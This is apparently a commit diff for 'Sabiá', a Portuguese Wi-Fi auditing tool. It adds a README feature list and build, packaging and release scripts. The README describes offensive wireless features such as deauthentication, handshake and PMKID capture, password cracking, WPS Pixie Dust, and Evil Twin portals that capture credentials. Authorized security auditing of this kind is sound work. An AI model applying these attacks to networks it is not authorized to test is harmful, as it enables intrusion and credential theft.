- **Aviso de uso autorizado**, sempre à vista: use só em redes próprias ou com autorização; toda ativação de monitor e captura entra na trilha de auditoria local.
|
||||
- **Redes vistas:** tabela em tempo real com SSID, barras de sinal, canal e um selo de segurança por cor (aberta, WEP, WPA/WPA2, WPA3).
|
||||
- **Redes vistas:** tabela em tempo real com SSID, barras de sinal, canal e um selo de segurança por cor (aberta, WEP, WPA/WPA2, WPA3). A ordem das linhas é estável (ordem de chegada, sinal arredondado em buckets de 4 dBm) — não fica trocando de posição debaixo do cursor conforme o sinal oscila.
|
||||
- **Visão de canais:** pontuação de interferência/sobreposição por banda, com canal recomendado.
|
||||
- **Detalhe da rede → aba Ataques:** desautenticação direcional/contínua, teste de PMF, caça de PMKID sem cliente, captura de handshake (religa a captura sozinha se ela tiver sido parada), quebra de senha (dicionário embutido de 9,7 milhões de senhas, regras de mutação, força bruta por máscara), exportação `.hc22000`, WPS PIN/Pixie Dust, Evil Twin com portal cativo (WPA/WPA2-PSK) e — só exibido para redes 802.1X — a variante Enterprise do Evil Twin, que captura credenciais automaticamente. Toda ação exige o checkbox de autorização e fica registrada na trilha de auditoria.
|
||||
- **Relatório:** relatório de auditoria paginado e imprimível (capa, sumário, achados, pontuação de canais, redes/clientes/handshakes, trilha de auditoria), pré-visualizado num diálogo e imprimível em PDF pelo navegador.
|
||||
|
||||
## Privilégio
|
||||
|
||||
|
||||
Executable
+59
@@ -0,0 +1,59 @@
|
||||
#!/usr/bin/env bash
|
||||
# Compila o app desktop (Tauri) e deixa os pacotes em dist-gui/, com os nomes
|
||||
# que a release usa.
|
||||
#
|
||||
# scripts/build-gui.sh linux # AppImage e .deb; precisa de uma máquina Linux com os pacotes do Tauri
|
||||
# scripts/build-gui.sh windows # instalador NSIS, compilado a partir do Linux
|
||||
#
|
||||
# O Windows usa cargo-xwin (SDK do Windows baixado na hora) e o NSIS, que o Tauri
|
||||
# documenta como compilação cruzada experimental. Precisa de: nsis, lld, llvm,
|
||||
# clang e `cargo install cargo-xwin`. O .msi não sai daqui (o WiX é só do Windows).
|
||||
# `scripts/build-gui.sh windows-docker` roda o mesmo num container, sem instalar nada.
|
||||
set -euo pipefail
|
||||
|
||||
cd "$(dirname "$0")/.."
|
||||
platform=${1:?uso: build-gui.sh <linux|windows|windows-docker>}
|
||||
tauri() { npx --yes @tauri-apps/cli@2 "$@"; }
|
||||
|
||||
if [ "$platform" = windows-docker ]; then
|
||||
docker volume create sabia-cargo >/dev/null
|
||||
docker volume create sabia-rustup >/dev/null
|
||||
mkdir -p dist-gui
|
||||
exec docker run --rm -v "$PWD":/src -v sabia-cargo:/root/.cargo -v sabia-rustup:/root/.rustup \
|
||||
-w /src -e HOST_UID="$(id -u)" -e HOST_GID="$(id -g)" ubuntu:24.04 bash -c '
|
||||
set -e
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
apt-get update -qq
|
||||
apt-get install -y -qq curl ca-certificates build-essential pkg-config nsis lld llvm clang nodejs npm unzip >/dev/null
|
||||
[ -x /root/.cargo/bin/rustup ] || curl -fsSL https://sh.rustup.rs | sh -s -- -y --profile minimal >/dev/null
|
||||
export PATH=/root/.cargo/bin:$PATH
|
||||
command -v cargo-xwin >/dev/null || cargo install cargo-xwin --locked
|
||||
scripts/build-gui.sh windows
|
||||
chown -R "$HOST_UID:$HOST_GID" dist-gui apps/gui/src-tauri/target 2>/dev/null || true'
|
||||
fi
|
||||
|
||||
mkdir -p dist-gui
|
||||
cd apps/gui/src-tauri
|
||||
|
||||
# Os ícones derivados do original não ficam todos no repositório.
|
||||
[ -f icons/icon.ico ] || tauri icon icons/source.png -o icons
|
||||
|
||||
case "$platform" in
|
||||
linux)
|
||||
tauri build --bundles appimage,deb
|
||||
bundle=target/release/bundle
|
||||
cp "$bundle"/appimage/*.AppImage "$bundle"/deb/*.deb ../../../dist-gui/
|
||||
# O atualizador do Tauri (quando o projeto usa) precisa do .sig ao lado.
|
||||
cp "$bundle"/appimage/*.AppImage.sig ../../../dist-gui/ 2>/dev/null || true
|
||||
;;
|
||||
windows)
|
||||
rustup target add x86_64-pc-windows-msvc >/dev/null
|
||||
tauri build --runner cargo-xwin --target x86_64-pc-windows-msvc --bundles nsis
|
||||
bundle=target/x86_64-pc-windows-msvc/release/bundle/nsis
|
||||
cp "$bundle"/*-setup.exe ../../../dist-gui/
|
||||
cp "$bundle"/*-setup.exe.sig ../../../dist-gui/ 2>/dev/null || true
|
||||
;;
|
||||
*) echo "plataforma desconhecida: $platform" >&2; exit 2 ;;
|
||||
esac
|
||||
|
||||
ls -1 ../../../dist-gui
|
||||
@@ -68,7 +68,11 @@ const WORDS = [
|
||||
'atualização', 'atualizado', 'trocar', 'possível', 'quebrável', 'quebrado', 'rompida',
|
||||
'corrompida', 'inválido', 'inválida', 'entrada', 'dicionário', 'quadros', 'quantidade',
|
||||
'injetar', 'encontrado', 'encontrada', 'suportada', 'permissão', 'insuficiente', 'instale',
|
||||
'root', 'indisponível', 'plataforma', 'criada', 'ainda',
|
||||
'root', 'indisponível', 'plataforma', 'criada', 'ainda', 'ferramenta', 'ferramentas',
|
||||
'exportar', 'importar', 'imprimir', 'baixar', 'recomendado', 'recomendada', 'aberta',
|
||||
'aberto', 'inconclusivo', 'inconclusiva', 'capturado', 'capturada', 'conhecido',
|
||||
'conhecida', 'opcional', 'opcionais', 'fechar', 'motivo', 'linha', 'tempo', 'quadro',
|
||||
'tentativas', 'ambas',
|
||||
];
|
||||
|
||||
const BRAND = /Sabiá|Português|English/gi;
|
||||
@@ -246,7 +250,7 @@ function rustLabels(source, file) {
|
||||
// ---------------------------------------------------------------- coleta
|
||||
|
||||
const uiFiles = readdirSync(join(root, 'apps/gui/ui'))
|
||||
.filter((f) => f.endsWith('.js') && f !== 'i18n-en.js')
|
||||
.filter((f) => f.endsWith('.js') && f !== 'i18n-en.js' && f !== 'paged.polyfill.min.js')
|
||||
.map((f) => join(root, 'apps/gui/ui', f));
|
||||
uiFiles.push(join(root, 'apps/gui/ui/index.html'));
|
||||
|
||||
|
||||
Executable
+39
@@ -0,0 +1,39 @@
|
||||
#!/usr/bin/env bash
|
||||
# Compila o CLI para uma plataforma e empacota como o atualizador espera:
|
||||
# sabia-<tag>-<plataforma>.tar.gz com um .sha256 ao lado.
|
||||
#
|
||||
# scripts/package-cli.sh v1.0.1 linux-x86_64 x86_64-unknown-linux-gnu
|
||||
#
|
||||
# Plataformas: linux-x86_64 e linux-aarch64. O alvo diferente da máquina de build
|
||||
# usa o linker cruzado correspondente (gcc-x86-64-linux-gnu). Escreve os arquivos
|
||||
# na raiz do repositório e imprime os nomes.
|
||||
set -euo pipefail
|
||||
|
||||
cd "$(dirname "$0")/.."
|
||||
|
||||
tag=${1:?uso: package-cli.sh <tag> <plataforma> <alvo-rust>}
|
||||
platform=${2:?uso: package-cli.sh <tag> <plataforma> <alvo-rust>}
|
||||
target=${3:?uso: package-cli.sh <tag> <plataforma> <alvo-rust>}
|
||||
|
||||
case "$target" in
|
||||
x86_64-unknown-linux-gnu)
|
||||
if [ "$(uname -m)" != x86_64 ]; then
|
||||
export CARGO_TARGET_X86_64_UNKNOWN_LINUX_GNU_LINKER=x86_64-linux-gnu-gcc
|
||||
export CC_x86_64_unknown_linux_gnu=x86_64-linux-gnu-gcc
|
||||
fi ;;
|
||||
esac
|
||||
|
||||
rustup target add "$target" >/dev/null 2>&1 || true
|
||||
cargo build --release --locked -p sabia-cli --target "$target"
|
||||
|
||||
name="sabia-${tag}-${platform}"
|
||||
rm -rf "$name"; mkdir "$name"
|
||||
cp "${CARGO_TARGET_DIR:-target}/${target}/release/sabia" "$name/"
|
||||
cp README.md LICENSE-MIT LICENSE-APACHE "$name/"
|
||||
|
||||
tar czf "$name.tar.gz" "$name"
|
||||
asset="$name.tar.gz"
|
||||
rm -rf "$name"
|
||||
sha256sum "$asset" > "$asset.sha256"
|
||||
echo "$asset"
|
||||
echo "$asset.sha256"
|
||||
Executable
+28
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env bash
|
||||
# Imprime as notas de uma release: a seção do CHANGELOG.md daquela versão, ou o
|
||||
# log de commits desde a tag anterior quando o changelog não tem a seção.
|
||||
#
|
||||
# scripts/release-notes.sh v1.2.3
|
||||
set -euo pipefail
|
||||
|
||||
tag=${1:?uso: release-notes.sh <tag>}
|
||||
version=${tag#v}
|
||||
|
||||
section=""
|
||||
if [ -f CHANGELOG.md ]; then
|
||||
section=$(awk -v head="## [$version]" '
|
||||
index($0, head) == 1 { found = 1; next }
|
||||
found && /^## \[/ { exit }
|
||||
found && /^\[[^]]+\]: / { next }
|
||||
found { print }
|
||||
' CHANGELOG.md)
|
||||
fi
|
||||
|
||||
if [ -n "$(printf '%s' "$section" | tr -d '[:space:]')" ]; then
|
||||
printf '%s\n' "$section"
|
||||
else
|
||||
previous=$(git describe --tags --abbrev=0 "$tag^" 2>/dev/null || true)
|
||||
echo "## Mudanças${previous:+ desde $previous}"
|
||||
echo
|
||||
git log --no-merges --format='- %s (%h)' "${previous:+$previous..}$tag"
|
||||
fi
|
||||
Executable
+24
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env bash
|
||||
# Anexa arquivos a uma release do Gitea, trocando os de mesmo nome (assim uma
|
||||
# execução repetida do CI não falha por anexo duplicado).
|
||||
#
|
||||
# API=https://git.exemplo.com/api/v1/repos/dono/repo TOKEN=... \
|
||||
# scripts/release-upload.sh v1.2.3 arquivo1 arquivo2
|
||||
set -euo pipefail
|
||||
|
||||
: "${API:?defina API (URL do repositório na API do Gitea)}"
|
||||
: "${TOKEN:?defina TOKEN}"
|
||||
tag=${1:?uso: release-upload.sh <tag> <arquivo>...}
|
||||
shift
|
||||
|
||||
auth=(-H "Authorization: token $TOKEN")
|
||||
id=$(curl -fsS "${auth[@]}" "$API/releases/tags/$tag" | jq -r .id)
|
||||
|
||||
for file in "$@"; do
|
||||
name=$(basename "$file")
|
||||
for old in $(curl -fsS "${auth[@]}" "$API/releases/$id/assets" | jq -r --arg n "$name" '.[] | select(.name == $n) | .id'); do
|
||||
curl -fsS -X DELETE "${auth[@]}" "$API/releases/$id/assets/$old"
|
||||
done
|
||||
curl -fsS -X POST "${auth[@]}" -F "attachment=@$file" "$API/releases/$id/assets?name=$name" >/dev/null
|
||||
echo "enviado: $name"
|
||||
done
|
||||
Reference in new issue
Block a user